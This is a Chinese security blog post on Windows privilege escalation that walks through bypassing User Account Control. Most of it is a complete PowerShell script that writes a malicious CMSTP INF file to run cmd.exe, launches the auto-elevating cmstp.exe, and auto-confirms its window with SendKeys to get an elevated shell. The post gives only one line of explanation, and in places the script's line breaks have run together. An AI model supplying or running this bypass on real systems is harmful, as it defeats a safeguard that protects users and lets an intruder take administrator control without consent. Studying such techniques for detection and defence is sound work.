windows提权(三)-uac提权
原创
跃迁
跃迁
跃迁Sec
2026年10月12日 15:16
湖北
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
uac我们前面已经提及过了,简单说明一下,当对系统的更改需要管理员级权限时,UAC 会通知用户,从而让用户有机会批准或拒绝更改。当我们已经获取到管理员组用户权限时,发现当前uac等级较低不能执行相关操作时,我们才需要进行uac提权。
这类主包主要演示两种方法,一种是利用powershell脚本,另一种是直接使用工具,环境是主包的主机
第一种:powershell脚本
Function script:Set-INFFile {[CmdletBinding()]Param (\t[Parameter(HelpMessage=\"Specify the INF file location\")]$InfFileLocation = \"$env:temp\\CMSTP.inf\",
\t[Parameter(HelpMessage=\"Specify the command to launch in a UAC-privileged window\")]\t[String]$CommandToExecute = 'C:\\Windows\\System32\\cmd.exe'\t)
$InfContent = @\"[version]Signature=`$chicago`$AdvancedINF=2.5[DefaultInstall]CustomDestination=CustInstDestSectionAllUsersRunPreSetupCommands=RunPreSetupCommandsSection[RunPreSetupCommandsSection]; Commands Here will be run Before Setup Begins to install$CommandToExecutetaskkill /IM cmstp.exe /F[CustInstDestSectionAllUsers]49000,49001=AllUSer_LDIDSection, 7[AllUSer_LDIDSection]\"HKLM\", \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE\", \"ProfileInstallPath\", \"%UnexpectedError%\", \"\"[Strings]ServiceName=\"CorpVPN\"ShortSvcName=\"CorpVPN\"\"@
$InfContent | Out-File $InfFileLocation -Encoding ASCII}
Function Get-Hwnd{ [CmdletBinding()]
Param ( [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $ProcessName ) Process { $ErrorActionPreference = 'Stop' Try { $hwnd = Get-Process -Name $ProcessName | Select-Object -ExpandProperty MainWindowHandle } Catch { $hwnd = $null } $hash = @{ ProcessName = $ProcessName Hwnd = $hwnd }
New-Object -TypeName PsObject -Property $hash }}
function Set-WindowActive{ [CmdletBinding()]
Param ( [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $Name )
Process { $memberDefinition = @' [DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport(\"user32.dll\", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);'@
Add-Type -MemberDefinition $memberDefinition -Name Api -Namespace User32 $hwnd = Get-Hwnd -ProcessName $Name | Select-Object -ExpandProperty Hwnd If ($hwnd) { $onTop = New-Object -TypeName System.IntPtr -ArgumentList (0) [User32.Api]::SetForegroundWindow($hwnd) [User32.Api]::ShowWindow($hwnd, 5) } Else { [string] $hwnd = 'N/A' }
$hash = @{ Process = $Name Hwnd = $hwnd }
New-Object -TypeName PsObject -Property $hash }}
. Set-INFFile#Needs Windows formsadd-type -AssemblyName System.Windows.FormsIf (Test-Path $InfFileLocation) {#Command to run$ps = new-object system.diagnostics.processstartinfo \"c:\\windows\\system32\\cmstp.exe\"$ps.Arguments = \"/au $InfFileLocation\"$ps.UseShellExecute = $false
#Start it[system.diagnostics.process]::Start($ps)
do{# Do nothing until cmstp is an active window}until ((Set-WindowActive cmstp).Hwnd -ne 0)
#Activate windowSet-WindowActive cmstp
#Send the Enter key[System.Windows.Forms.SendKeys]::SendWait(\"{ENTER}\")}
脚本代码如上,详细原理就是由于cmstp.exe 是 autoElevate 可信程序,加载 INF 文件时会执行 INF 内预定义命令;脚本通过窗口句柄 + SendKeys 自动确认 UAC 弹窗,从而拿到高级uac权限。

版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论